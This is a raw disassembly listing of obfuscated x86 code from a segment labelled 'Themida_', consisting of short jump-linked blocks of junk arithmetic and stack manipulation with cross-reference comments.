; ---------------------------------------------------------------------------
loc_5A5AC6: ; CODE XREF: Themida_:005A2618j
mov edi, esp
push ebp
mov ebp, 4
jmp loc_5A4A61
; ---------------------------------------------------------------------------
loc_5A5AD3: ; CODE XREF: Themida_:005A423Aj
pop esp
jmp loc_5AD691
; ---------------------------------------------------------------------------
loc_5A5AD9: ; CODE XREF: Themida_:005AE0C5j
dec dl
sub dl, 0E4h
sub al, dl
jmp loc_5AB882
; ---------------------------------------------------------------------------
loc_5A5AE5: ; CODE XREF: Themida_:0059F47Bj
pop ebp
sub edi, ebx
jmp loc_5A22BC
; ---------------------------------------------------------------------------
loc_5A5AED: ; CODE XREF: Themida_:005AD08Aj
mov ebp, 4
sub ecx, ebp
mov ebp, [esp]
push esi
jmp loc_5ACB4A
; ---------------------------------------------------------------------------
loc_5A5AFD: ; CODE XREF: Themida_:005A11A8j
; Themida_:005A7C3Aj
sub eax, 60FD638Ch
mov edi, eax
pop eax
xor edi, 69C1224Ch
jns loc_5AE320
neg edi
jz loc_59D9CE
mov edx, edi
mov ebp, ecx
loc_5A5B1D: ; CODE XREF: Themida_:0059C327j
sub al, bh
pop ebx
sub esp, 4
mov [esp], ecx
push 2425h
mov [esp], edx
mov dl, 95h
push ebx
mov bh, 5
mov ch, bh
jmp loc_59CAE3
; ---------------------------------------------------------------------------
loc_5A5B3A: ; CODE XREF: Themida_:005AE3ECj
mov ah, ch
pop ecx
mov edx, [esp]
add esp, 4
mov dh, ah
pop eax
pop ebx
add bl, dh
pop dx
sub al, bl
jmp loc_5A0303
; ---------------------------------------------------------------------------
loc_5A5B52: ; CODE XREF: Themida_:00598AA1j
mov cl, 0D6h
xor cl, 4Fh
add cl, 0B7h
jmp loc_59C244
; ---------------------------------------------------------------------------
loc_5A5B5F: ; CODE XREF: Themida_:005A4A42j
push 38044AF4h
mov ecx, [esp]
push 5F81h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5AD7CA
; ---------------------------------------------------------------------------
loc_5A5B7F: ; CODE XREF: Themida_:005A2C8Aj
shl word ptr [esp], cl
pushf
jmp loc_5A4AF6
; ---------------------------------------------------------------------------
loc_5A5B89: ; CODE XREF: Themida_:0059E40Fj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_5AF544
; ---------------------------------------------------------------------------
loc_5A5B97: ; CODE XREF: Themida_:005A1805j
push eax
jmp loc_5A7712
; ---------------------------------------------------------------------------
loc_5A5B9D: ; CODE XREF: Themida_:005AF6F2j
add esp, 4
or ebx, ebx
jnz loc_5A7E21
push 1E1Ch
mov [esp], esi
mov esi, esp
jmp loc_5A79B3
; ---------------------------------------------------------------------------
loc_5A5BB7: ; CODE XREF: Themida_:005AF2F7j
neg esi
jmp loc_59A04B
; ---------------------------------------------------------------------------
loc_5A5BBE: ; CODE XREF: Themida_:005A3648j
xor ebx, esi
mov esi, [esp]
add esp, 4
add ebp, 3087331h
add ebp, ebx
sub ebp, 3087331h
pop ebx
add ebp, 0D1570C5Ch
mov ecx, ebp
mov ebp, [esp]
jmp loc_5AC990
; ---------------------------------------------------------------------------
loc_5A5BE8: ; CODE XREF: Themida_:005A5478j
push ebx
push edi
jmp loc_59D81A
; ---------------------------------------------------------------------------
loc_5A5BEF: ; CODE XREF: Themida_:00598CCCj
neg edi
sub edi, 10701E0Fh
xor edi, 33754943h
dec edi
add edi, 642376DBh
xor edi, 49517B23h
xor ecx, edi
pop edi
xor ecx, 5C1B18D7h
add edx, 0F04129Dh
add edx, ecx
sub edx, 0F04129Dh
pop ecx
push ebp
jmp loc_59CF81
; ---------------------------------------------------------------------------
loc_5A5C28: ; CODE XREF: Themida_:005A347Cj
xor ebp, [esp]
jmp loc_59A30C
; ---------------------------------------------------------------------------
loc_5A5C30: ; CODE XREF: Themida_:0059B7F5j
jmp loc_5A7882
; ---------------------------------------------------------------------------
loc_5A5C35: ; CODE XREF: Themida_:loc_59FCAFj
; Themida_:005AB4F2j
mov edx, ecx
jmp loc_5ABEF4
; ---------------------------------------------------------------------------
loc_5A5C3C: ; CODE XREF: Themida_:loc_5A2A61j
jmp loc_5A7733
; ---------------------------------------------------------------------------
loc_5A5C41: ; CODE XREF: Themida_:005ACA7Dj
pop edi
pop dword ptr [esp]
push edx
jmp loc_59F900
; ---------------------------------------------------------------------------
loc_5A5C4B: ; CODE XREF: Themida_:005ADA27j
pop ecx
sub ecx, 946307CDh
jmp loc_5AE1ED
; ---------------------------------------------------------------------------
loc_5A5C57: ; CODE XREF: Themida_:005A7440j
jmp loc_5AF7D0
; ---------------------------------------------------------------------------
loc_5A5C5C: ; CODE XREF: Themida_:005A7218j
mov [esp], edx
jmp loc_59DBF6
; ---------------------------------------------------------------------------
loc_5A5C64: ; CODE XREF: Themida_:005AD4AEj
pop ebp
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_5AF5E5
; ---------------------------------------------------------------------------
loc_5A5C73: ; CODE XREF: Themida_:0059EB09j
xchg ebp, [esp]
mov esp, [esp]
push edi
mov edi, 17B5386Dh
add edx, 5A186Dh
add edx, 60187305h
jmp loc_5A7232
; ---------------------------------------------------------------------------
loc_5A5C90: ; CODE XREF: Themida_:005A456Bj
pop ebp
add ebp, 4
sub ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
jmp loc_5AE8E5
; ---------------------------------------------------------------------------
loc_5A5CAD: ; CODE XREF: Themida_:005A98BBj
push 1936h
jmp loc_5A981B
; ---------------------------------------------------------------------------
loc_5A5CB7: ; CODE XREF: Themida_:005ACBB8j
xor [esp], ebp
xor ebp, [esp]
jmp loc_5A05E5
; ---------------------------------------------------------------------------
loc_5A5CC2: ; CODE XREF: Themida_:0059FF9Cj
push ecx
jmp loc_5AC3B4
; ---------------------------------------------------------------------------
loc_5A5CC8: ; CODE XREF: Themida_:005ADDA6j
pop esi
dec edx
not edx
shr edx, 4
xor edx, 0A425F21h
sub edi, 133874F9h
add edi, edx
add edi, 133874F9h
mov edx, [esp]
add esp, 4
sub edi, 4
push edi
jmp loc_5A8617
; ---------------------------------------------------------------------------
loc_5A5CF5: ; CODE XREF: Themida_:005A99C2j
mov esi, 2
mov edx, esi
pop esi
add ebx, edx
pop edx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A5D17: ; CODE XREF: Themida_:005AEA0Cj
pop ecx
or ebx, 5E472AB8h
not ebx
push esi
mov esi, 5CEC335Bh
shr esi, 8
jmp loc_59EE1A
; ---------------------------------------------------------------------------
loc_5A5D2E: ; CODE XREF: Themida_:005AA2CDj
push esi
push edi
mov edi, 4
mov esi, edi
pop edi
push 3C91h
mov [esp], ecx
mov ecx, 27EA4C31h
sub [esp+8], ecx
jmp loc_59AA81
; ---------------------------------------------------------------------------
loc_5A5D4E: ; CODE XREF: Themida_:005A0CFCj
mov edx, 4EF11EAFh
mov edi, edx
pop edx
sub esi, edi
pop edi
mov ebp, esi
pop esi
push ebx
mov ebx, 2A63C6Fh
jmp loc_59FB5F
; ---------------------------------------------------------------------------
loc_5A5D67: ; CODE XREF: Themida_:005ABC4Aj
sub edx, 61E41623h
push ebx
mov ebx, 5EB5687Ah
jmp loc_5A5E66
; ---------------------------------------------------------------------------
loc_5A5D78: ; CODE XREF: Themida_:005A5063j
pop eax
push ebx
jmp loc_59F95C
; ---------------------------------------------------------------------------
loc_5A5D7F: ; CODE XREF: Themida_:loc_59A57Ej
; Themida_:0059C41Fj
mov dx, 35DEh
mov cx, dx
mov dx, [esp]
add esp, 2
not cx
push small 1E48h
mov [esp], si
push small 0BAF5h
pop si
xor cx, si
jmp loc_5AF962
; ---------------------------------------------------------------------------
loc_5A5DA9: ; CODE XREF: Themida_:00599A00j
mov edi, 8C75C1Bh
add edi, 0F738A3E9h
jmp loc_5A986F
; ---------------------------------------------------------------------------
loc_5A5DB9: ; CODE XREF: Themida_:005A7C98j
add edi, 4
push 47DFh
jmp loc_5A6E10
; ---------------------------------------------------------------------------
loc_5A5DC9: ; CODE XREF: Themida_:005A2C29j
dec esi
not esi
jmp loc_5A48FF
; ---------------------------------------------------------------------------
loc_5A5DD1: ; CODE XREF: Themida_:0059E09Bj
pop esi
add esp, 4
sub esi, 4D615FF9h
mov eax, [esp]
add esp, 4
add eax, 61816184h
jmp loc_5A9540
; ---------------------------------------------------------------------------
loc_5A5DF1: ; CODE XREF: Themida_:005AF869j
add dword ptr [esp], 4
jmp loc_5A1E1C
; ---------------------------------------------------------------------------
loc_5A5DFD: ; CODE XREF: Themida_:0059E7F2j
sub ecx, edi
pop edi
add edx, 5672391Eh
sub edx, ecx
jmp loc_5A0C6B
; ---------------------------------------------------------------------------
loc_5A5E0D: ; CODE XREF: Themida_:005A5FA5j
push ebx
jmp loc_5A9651
; ---------------------------------------------------------------------------
loc_5A5E13: ; CODE XREF: Themida_:005A2CE0j
pop edx
add esp, 4
jmp loc_5A566D
; ---------------------------------------------------------------------------
loc_5A5E1C: ; CODE XREF: Themida_:loc_5A11C8j
jmp loc_5AA4DB
; ---------------------------------------------------------------------------
loc_5A5E21: ; CODE XREF: Themida_:0059E567j
; Themida_:005A40DAj
mov [esp], edi
jmp loc_5AB47E
; ---------------------------------------------------------------------------
loc_5A5E29: ; CODE XREF: Themida_:0059DF0Fj
mov eax, 57172B36h
inc eax
jge loc_59DF8E
jmp loc_5A87B6
; ---------------------------------------------------------------------------
xor esi, eax
push edx
mov edx, esp
jmp loc_5A1B1E
; ---------------------------------------------------------------------------
loc_5A5E44: ; CODE XREF: Themida_:0059F97Cj
; Themida_:005ACB8Aj
neg eax
ja loc_59F756
xor eax, 7C158AEh
jnb loc_5AD46B
neg eax
sub eax, 11F7667Ch
xor eax, 9DCEA64Fh
mov edi, eax
push edx
loc_5A5E66: ; CODE XREF: Themida_:005A5D73j
xor ebx, 75F75B7Fh
sub edx, ebx
pop ebx
sub esp, 4
mov [esp], ebx
push edx
mov edx, 5A1C44B9h
add edx, 0F9902145h
or edx, 3B0D0E2Dh
jbe loc_5A5FC5
jmp loc_59DD2A
; ---------------------------------------------------------------------------
loc_5A5E95: ; CODE XREF: Themida_:005A61E3j
push 625Ah
mov [esp], ebx
push ecx
mov cl, 0D1h
mov bh, 0F2h
sub bh, cl
pop ecx
mov cl, 0DEh
xor cl, bh
pop ebx
add bl, 0B7h
sub bl, cl
sub bl, 0B7h
mov cx, [esp]
add esp, 2
sub esp, 2
mov [esp], dx
push 1793h
mov [esp], ebx
jmp loc_59CFA1
; ---------------------------------------------------------------------------
loc_5A5ED0: ; CODE XREF: Themida_:005AD78Bj
xor ebx, [esp]
mov esp, [esp]
shr eax, 18h
xor eax, ecx
jmp loc_5A1363
; ---------------------------------------------------------------------------
loc_5A5EE0: ; CODE XREF: Themida_:005AFCFBj
add al, dh
add al, 4Eh
pop edx
shl al, 3
inc al
sub al, 8
jmp loc_598C64
; ---------------------------------------------------------------------------
loc_5A5EF1: ; CODE XREF: Themida_:loc_5A0799j
jmp loc_5999E2
; ---------------------------------------------------------------------------
loc_5A5EF6: ; CODE XREF: Themida_:0059A82Bj
pop eax
add edi, edx
pop edx
sub edi, ecx
sub edi, 199B4808h
add edi, 18794660h
jmp loc_5A8D9A
; ---------------------------------------------------------------------------
loc_5A5F0D: ; CODE XREF: Themida_:0059D36Fj
; Themida_:005AA551j
pop esp
jmp loc_5A5A90
; ---------------------------------------------------------------------------
loc_5A5F13: ; CODE XREF: Themida_:005A60FBj
push esi
jmp loc_5A86B6
; ---------------------------------------------------------------------------
loc_5A5F19: ; CODE XREF: Themida_:005AC162j
add esi, 18B135D0h
sub esi, ebx
sub esi, 18B135D0h
pop ebx
mov edi, esi
jmp loc_5AECD7
; ---------------------------------------------------------------------------
loc_5A5F2F: ; CODE XREF: Themida_:0059D503j
add eax, 932166Eh
push eax
pop ecx
jmp loc_59EEDE
; ---------------------------------------------------------------------------
loc_5A5F3B: ; CODE XREF: Themida_:005A569Fj
mov edi, 70384A05h
dec edi
jns loc_59FE4F
and edi, 63E9773Ah
jmp loc_59EE2E
; ---------------------------------------------------------------------------
push esi
push edx
mov ch, al
loc_5A5F56: ; CODE XREF: Themida_:005A28BCj
; Themida_:005A9CD0j
mov eax, 0E241956h
add edi, 9A46FE6h
sub edi, eax
sub edi, 9A46FE6h
pop eax
jmp loc_59AD56
; ---------------------------------------------------------------------------
loc_5A5F6F: ; CODE XREF: Themida_:0059FD11j
push small 31C2h
mov [esp], dx
mov dh, 49h
sub bl, dh
pop dx
jmp loc_5A4778
; ---------------------------------------------------------------------------
loc_5A5F82: ; CODE XREF: Themida_:005A942Aj
push 669Ah
mov [esp], edi
mov edi, 74BC6D6Dh
add edx, 5D4144BEh
sub edx, 1BA96206h
jmp loc_5AE2B6
; ---------------------------------------------------------------------------
loc_5A5FA0: ; CODE XREF: Themida_:005A4D60j
mov ecx, 33526348h
jmp loc_5A5E0D
; ---------------------------------------------------------------------------
loc_5A5FAA: ; CODE XREF: Themida_:0059B199j
push ebp
push eax
mov eax, 5FC22C7Bh
push 5FC22C7Fh
pop ebp
xor ebp, eax
pop eax
sub eax, ebp
pop ebp
xchg eax, [esp]
jmp loc_59ECAF
; ---------------------------------------------------------------------------
loc_5A5FC5: ; CODE XREF: Themida_:005A5E8Aj
jmp loc_5A3998
; ---------------------------------------------------------------------------
loc_5A5FCA: ; CODE XREF: Themida_:005A2D8Dj
pop ecx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 352951E6h
shr ebx, 7
jmp loc_5AE785
; ---------------------------------------------------------------------------
loc_5A5FF0: ; CODE XREF: Themida_:005992ECj
dec ch
shr ch, 8
push dx
mov dl, 0F4h
and ch, dl
pop dx
sub ch, 48h
xor ch, 41h
sub al, ch
jmp loc_5ACD10
; ---------------------------------------------------------------------------
loc_5A600A: ; CODE XREF: Themida_:005AE040j
inc edx
add edx, 2D131552h
sub edx, 5A8A62C9h
add edi, edx
pop edx
push ebp
mov ebp, 4
add edi, ebp
jmp loc_5A89DD
; ---------------------------------------------------------------------------
loc_5A6027: ; CODE XREF: Themida_:0059FF12j
pop edi
add esp, 4
pop dword ptr [esp]
jmp loc_5A0E10
; ---------------------------------------------------------------------------
loc_5A6036: ; CODE XREF: Themida_:005A808Bj
add esi, 4
push ebp
jmp loc_5A321D
; ---------------------------------------------------------------------------
loc_5A6042: ; CODE XREF: Themida_:loc_5A7CB4j
neg ah
jge loc_5AEF71
xor ah, 0BCh
jmp loc_5AE78B
; ---------------------------------------------------------------------------
loc_5A6052: ; CODE XREF: Themida_:00598A98j
push esp
mov ebx, [esp]
add esp, 4
push ebp
mov ebp, 4
sub ebx, 44CD5745h
add ebx, ebp
add ebx, 44CD5745h
pop ebp
add ebx, 4
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
or eax, eax
jz loc_598BCE
push dword ptr [edi+28h]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push edi
mov edi, esp
jmp loc_59BC44
; ---------------------------------------------------------------------------
loc_5A60A8: ; CODE XREF: Themida_:005AA275j
add esp, 4
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_5AE3AA
; ---------------------------------------------------------------------------
loc_5A60C3: ; CODE XREF: Themida_:005AA8EDj
add ebx, 4
xchg ebx, [esp]
pop esp
push 283Fh
mov [esp], esi
mov esi, esp
push ecx
jmp loc_5A38EF
; ---------------------------------------------------------------------------
loc_5A60DD: ; CODE XREF: Themida_:005A69FFj
; Themida_:005AE551j
push 14B4h
mov [esp], eax
push 5FCFh
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
jmp loc_5A35A4
; ---------------------------------------------------------------------------
loc_5A60FA: ; CODE XREF: Themida_:005A4ECFj
dec edx
jmp loc_5A5F13
; ---------------------------------------------------------------------------
loc_5A6100: ; CODE XREF: Themida_:005A9816j
jmp loc_5AC353
; ---------------------------------------------------------------------------
loc_5A6105: ; DATA XREF: Themida_:0059890Do
mov cx, [esp]
jmp loc_5A9712
; ---------------------------------------------------------------------------
loc_5A610E: ; CODE XREF: Themida_:005A6989j
mov ebp, 4
push esi
mov esi, 69AA6793h
sub eax, esi
pop esi
add eax, 794C061Bh
jmp loc_5A37FC
; ---------------------------------------------------------------------------
loc_5A6126: ; CODE XREF: Themida_:00599FB3j
; Themida_:005A8ED5j
sub esp, 4
mov [esp], ebx
mov ebx, eax
mov edi, ebx
mov ebx, [esp]
add esp, 4
pop eax
xor edi, ebx
jmp loc_5AEF26
; ---------------------------------------------------------------------------
loc_5A6141: ; CODE XREF: Themida_:005A49E2j
; Themida_:loc_5A68B5j
add ebx, 0BAD26954h
mov edi, ebx
pop ebx
push edx
mov edx, 52977B51h
and edi, edx
jmp loc_5A8E95
; ---------------------------------------------------------------------------
loc_5A6157: ; CODE XREF: Themida_:005A79E7j
push eax
mov eax, 516C5600h
add [esp+8], eax
pop eax
sub dword ptr [esp+4], 579D1D34h
pop ebp
jmp loc_5A40DF
; ---------------------------------------------------------------------------
loc_5A6170: ; CODE XREF: Themida_:005AABD8j
add bl, 0B6h
jmp loc_59D673
; ---------------------------------------------------------------------------
loc_5A6178: ; CODE XREF: Themida_:0059CAC2j
mov eax, 76DE447Dh
shr eax, 1
push ebp
mov ebp, 1FC40826h
and eax, ebp
pop ebp
add eax, 1A92E97h
add eax, 7AD96CCEh
sub eax, 23A62029h
jmp loc_599CEF
; ---------------------------------------------------------------------------
loc_5A619C: ; CODE XREF: Themida_:005A9A06j
add ecx, esi
pop esi
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
xchg ecx, [esp]
jmp loc_5A3040
; ---------------------------------------------------------------------------
loc_5A61B1: ; CODE XREF: Themida_:0059A8BDj
shr ecx, 3
jmp loc_5A709E
; ---------------------------------------------------------------------------
loc_5A61B9: ; CODE XREF: Themida_:005ABA1Dj
sub al, dh
pop dx
pop ecx
push 67B2h
mov [esp], edx
mov dl, 8Ch
or dl, 0C4h
xor dl, 62h
sub al, dl
pop edx
push 67ABh
mov [esp], ebx
mov bl, 73h
push small 34DAh
mov [esp], cx
jmp loc_5A5E95
; ---------------------------------------------------------------------------
loc_5A61E8: ; CODE XREF: Themida_:005A3AEAj
js loc_5A99C7
add esi, 58BD57FAh
jmp loc_59B498
; ---------------------------------------------------------------------------
loc_5A61F9: ; CODE XREF: Themida_:0059D6E8j
mov ebx, [esp]
add esp, 4
add al, 19h
add al, cl
jmp loc_5AAF75
; ---------------------------------------------------------------------------
loc_5A6208: ; CODE XREF: Themida_:0059D2C7j
; Themida_:0059EA34j
pop esp
push 64h
mov [esp], ecx
mov ecx, 84F394Ch
push edx
mov edx, 0ECE5187h
or ecx, edx
pop edx
jmp loc_5AC39A
; ---------------------------------------------------------------------------
loc_5A6224: ; CODE XREF: Themida_:0059DAC0j
pop edi
shl edi, 5
add edi, 5B3755BBh
mov ebx, edi
pop edi
mov eax, ebx
mov ebx, [esp]
add esp, 4
shr eax, 1
add eax, 19C86932h
jo loc_5A84F1
shr eax, 2
jmp loc_5AAEBC
; ---------------------------------------------------------------------------
loc_5A6251: ; CODE XREF: Themida_:005A94C3j
add dword ptr [esp], 4
pop edi
add edi, 4
sub esp, 4
mov [esp], ebx
mov ebx, 4
sub edi, ebx
jmp loc_5A049A
; ---------------------------------------------------------------------------
loc_5A6274: ; CODE XREF: Themida_:005A41A2j
mov edi, esp
add edi, 4
add edi, 4
jmp loc_599BB3
; ---------------------------------------------------------------------------
loc_5A6284: ; CODE XREF: Themida_:005A56DDj
add esi, ecx
jmp loc_5AA9E2
; ---------------------------------------------------------------------------
loc_5A628B: ; CODE XREF: Themida_:005A59FEj
mov edi, 4
sub esi, 7A4B35CFh
jmp loc_5AED20
; ---------------------------------------------------------------------------
loc_5A629B: ; CODE XREF: Themida_:0059DA84j
push ebp
push ebx
mov ebx, 2
mov ebp, ebx
pop ebx
sub ebx, 57E95E3Eh
add ebx, ebp
push ebp
push edi
sub esp, 4
jmp loc_5AD7A9
; ---------------------------------------------------------------------------
loc_5A62B7: ; CODE XREF: Themida_:005A8F84j
or edi, 152627D7h
shr edi, 4
push eax
mov eax, 3AD3E5E7h
jmp loc_59FB94
; ---------------------------------------------------------------------------
loc_5A62CB: ; CODE XREF: Themida_:005A358Bj
mov ecx, [esp]
add esp, 4
jmp loc_5A4F44
; ---------------------------------------------------------------------------
loc_5A62D9: ; CODE XREF: Themida_:0059971Ej
push dword ptr [esp+4]
jmp loc_5A8D33
; ---------------------------------------------------------------------------
loc_5A62E2: ; CODE XREF: Themida_:005A297Cj
pop ebx
jmp loc_5A0D75
; ---------------------------------------------------------------------------
loc_5A62E8: ; CODE XREF: Themida_:0059B9ACj
and ecx, 116016A5h
push ebx
mov ebx, 3A35CE2h
push eax
jmp loc_5A1E8D
; ---------------------------------------------------------------------------
loc_5A62FA: ; CODE XREF: Themida_:0059EF47j
add edx, 4
xchg edx, [esp]
pop esp
loc_5A6301: ; CODE XREF: Themida_:0059DA3Fj
push 6D1Bh
mov [esp], ebx
mov eax, [esp]
push 3814h
jmp loc_5AE2DD
; ---------------------------------------------------------------------------
loc_5A6316: ; CODE XREF: Themida_:0059C88Bj
mov edx, [esp]
add esp, 4
add edx, ebp
pop ebp
push edi
mov edi, 2
add edx, edi
pop edi
xchg edx, [esp]
mov esp, [esp]
push 7793h
mov [esp], esi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esp
jmp loc_5AA7F5
; ---------------------------------------------------------------------------
loc_5A634E: ; CODE XREF: Themida_:005A6B9Cj
pop edx
add edi, 4
push 6BE1h
mov [esp], edi
push dword ptr [esp+4]
jmp loc_59F272
; ---------------------------------------------------------------------------
loc_5A6363: ; CODE XREF: Themida_:0059C18Aj
add eax, 14606081h
jmp loc_5A0671
; ---------------------------------------------------------------------------
loc_5A636D: ; CODE XREF: Themida_:00599FD6j
push edx
mov dl, 0E2h
mov ch, dl
pop edx
shr ch, 6
and ch, 1Ch
sub ch, 0F9h
add ch, 1Fh
jmp loc_5990D0
; ---------------------------------------------------------------------------
loc_5A6384: ; CODE XREF: Themida_:005AAB1Aj
add eax, 0DB8E193Dh
mov esi, eax
mov eax, [esp]
jmp loc_59FCEA
; ---------------------------------------------------------------------------
loc_5A6393: ; CODE XREF: Themida_:0059E374j
add edx, ecx
pop ecx
pop ecx
jmp loc_5A797C
; ---------------------------------------------------------------------------
loc_5A639C: ; CODE XREF: Themida_:005AAF2Aj
add edx, ebx
jmp loc_5A4FD3
; ---------------------------------------------------------------------------
loc_5A63A3: ; CODE XREF: Themida_:005A2381j
sub bl, 0F7h
sub bl, 0B1h
sub bl, cl
add bl, 0B1h
push eax
jmp loc_59F1A5
; ---------------------------------------------------------------------------
loc_5A63B4: ; CODE XREF: Themida_:005A9825j
push ebx
mov ebx, 5CBE11C7h
shr ebx, 1
jmp loc_5A8744
; ---------------------------------------------------------------------------
loc_5A63C1: ; CODE XREF: Themida_:005A9FCAj
pop edi
mov edi, esi
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov edx, 90BF89F5h
add edx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
mov [esp], ebx
push 4
jmp loc_598E7F
; ---------------------------------------------------------------------------
loc_5A6400: ; CODE XREF: Themida_:005A27FEj
jnz loc_599DE1
shr edx, 3
jz loc_59E842
and dl, 74h
loc_5A6412: ; CODE XREF: Themida_:005A4AACj
neg ebp
jmp loc_5A31EB
; ---------------------------------------------------------------------------
loc_5A6419: ; CODE XREF: Themida_:00599CEAj
push eax
jmp loc_59FBA7
; ---------------------------------------------------------------------------
loc_5A641F: ; CODE XREF: Themida_:005A6497j
sub bh, 30h
or ah, bh
pop ebx
jmp loc_5A175D
; ---------------------------------------------------------------------------
loc_5A642A: ; CODE XREF: Themida_:005AFD8Aj
xor ecx, 43682AD2h
jns loc_5A140A
sub ecx, 37B9612Dh
jmp loc_5A7139
; ---------------------------------------------------------------------------
loc_5A6441: ; CODE XREF: Themida_:005AE20Fj
sub esp, 4
push 2138h
mov [esp], esp
jmp loc_5A3859
; ---------------------------------------------------------------------------
loc_5A6451: ; CODE XREF: Themida_:0059A675j
sub edi, 480B4EAEh
sub edi, ebx
add edi, 480B4EAEh
pop ebx
add edi, 31731B84h
sub edi, ebp
sub edi, 31731B84h
add edi, 280971D8h
push dword ptr [esp]
jmp loc_5A4215
; ---------------------------------------------------------------------------
loc_5A647C: ; CODE XREF: Themida_:005AD71Ej
add edi, ebp
jmp loc_59C2E8
; ---------------------------------------------------------------------------
loc_5A6483: ; CODE XREF: Themida_:0059F7C0j
pop edx
jmp loc_5A10FC
; ---------------------------------------------------------------------------
loc_5A6489: ; CODE XREF: Themida_:005A7670j
; Themida_:005A7D54j ...
pop esp
jmp loc_5ACDC7
; ---------------------------------------------------------------------------
loc_5A648F: ; CODE XREF: Themida_:005A1004j
push eax
mov ah, 68h
push ebx
mov bh, 50h
dec bh
jmp loc_5A641F
; ---------------------------------------------------------------------------
loc_5A649C: ; CODE XREF: Themida_:0059BD93j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub ebp, 4
jmp loc_5A150C
; ---------------------------------------------------------------------------
loc_5A64B4: ; CODE XREF: Themida_:005AD8FBj
add ebx, edi
add ebx, 0EB10760h
pop edi
push ecx
jmp loc_5AD5EB
; ---------------------------------------------------------------------------
loc_5A64C3: ; CODE XREF: Themida_:005A1F0Dj
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
shr ecx, 0Ah
sub esp, 4
jmp loc_5A28C1
; ---------------------------------------------------------------------------
loc_5A64D7: ; CODE XREF: Themida_:005A6D2Ej
pop ecx
neg ebp
add ebp, 2B4D7FC2h
add ebx, ebp
push dword ptr [esp]
jmp loc_5A1490
; ---------------------------------------------------------------------------
loc_5A64EA: ; CODE XREF: Themida_:0059B401j
sub ecx, 20C02FDh
jmp loc_5ACC67
; ---------------------------------------------------------------------------
mov ax, [esp]
push 194h
mov [esp], eax
push esp
mov eax, [esp]
jmp loc_5A228F
; ---------------------------------------------------------------------------
loc_5A650A: ; CODE XREF: Themida_:005AD207j
pop edi
add esp, 4
push edx
mov edx, 409D32BBh
add ecx, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, 127229DBh
push ebx
push esi
mov esi, 54F45565h
inc esi
or esi, 15F9738Dh
js loc_5A5173
neg esi
xor esi, 565064D7h
jnp loc_59C59E
jmp loc_5A14FF
; ---------------------------------------------------------------------------
loc_5A654C: ; CODE XREF: Themida_:0059D3F4j
pop ecx
add [esp+4], edi
pop edi
jmp loc_5A0FD2
; ---------------------------------------------------------------------------
loc_5A6557: ; CODE XREF: Themida_:005A2732j
; Themida_:005A5682j
mov esp, [esp]
mov [esp], edx
push esp
push dword ptr [esp]
pop edx
add esp, 4
push edi
jmp loc_5AB8D9
; ---------------------------------------------------------------------------
loc_5A656B: ; CODE XREF: Themida_:005A1405j
mov ecx, [esp]
add esp, 4
sub ebp, 252451AFh
add ebp, ebx
add ebp, 252451AFh
jmp loc_5A3849
; ---------------------------------------------------------------------------
loc_5A6587: ; CODE XREF: Themida_:005AD92Aj
neg edi
jmp loc_5ADB9C
; ---------------------------------------------------------------------------
loc_5A658E: ; CODE XREF: Themida_:005A7268j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_59D331
; ---------------------------------------------------------------------------
loc_5A65A2: ; CODE XREF: Themida_:005A9D53j
mov ebx, [esp]
add esp, 4
dec dword ptr [edx+38h]
jnz loc_5AB869
and dword ptr [edx+38h], 371A3221h
jnb loc_5A49D3
mov ebp, eax
loc_5A65C0: ; CODE XREF: Themida_:005A0A49j
mov edi, 0D3674Ch
add ecx, edi
jmp loc_59A3DF
; ---------------------------------------------------------------------------
loc_5A65CC: ; CODE XREF: Themida_:0059D979j
mov bh, 30h
jmp loc_5A57FA
; ---------------------------------------------------------------------------
loc_5A65D3: ; CODE XREF: Themida_:005A70C2j
mov ch, 44h
mov dl, ch
pop ecx
sub dl, 64h
push edx
inc byte ptr [esp]
pop edx
shl dl, 8
and dl, 0DAh
push ax
mov ah, 0EEh
sub dl, ah
pop ax
sub bl, dl
pop edx
movzx eax, al
mov dx, [esp]
push 0E4Eh
mov [esp], ebx
jmp loc_5A1C6E
; ---------------------------------------------------------------------------
mov cx, [esp]
push 4781h
mov [esp], edx
push 12A4h
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
jmp loc_59BA1E
; ---------------------------------------------------------------------------
loc_5A6625: ; CODE XREF: Themida_:005AA573j
sub edx, 4
jmp loc_5AF431
; ---------------------------------------------------------------------------
loc_5A662D: ; CODE XREF: Themida_:0059D727j
; Themida_:005A318Fj
mov edi, [esp]
add esp, 4
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A663B: ; CODE XREF: Themida_:005A8412j
mov edi, 5CE602F5h
sub edi, 5E1A4347h
not edi
jmp loc_5A0142
; ---------------------------------------------------------------------------
loc_5A664D: ; CODE XREF: Themida_:005A861Bj
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5A2F44
; ---------------------------------------------------------------------------
loc_5A6664: ; CODE XREF: Themida_:005AAF17j
sub esi, 721A0530h
jmp loc_59C7FD
; ---------------------------------------------------------------------------
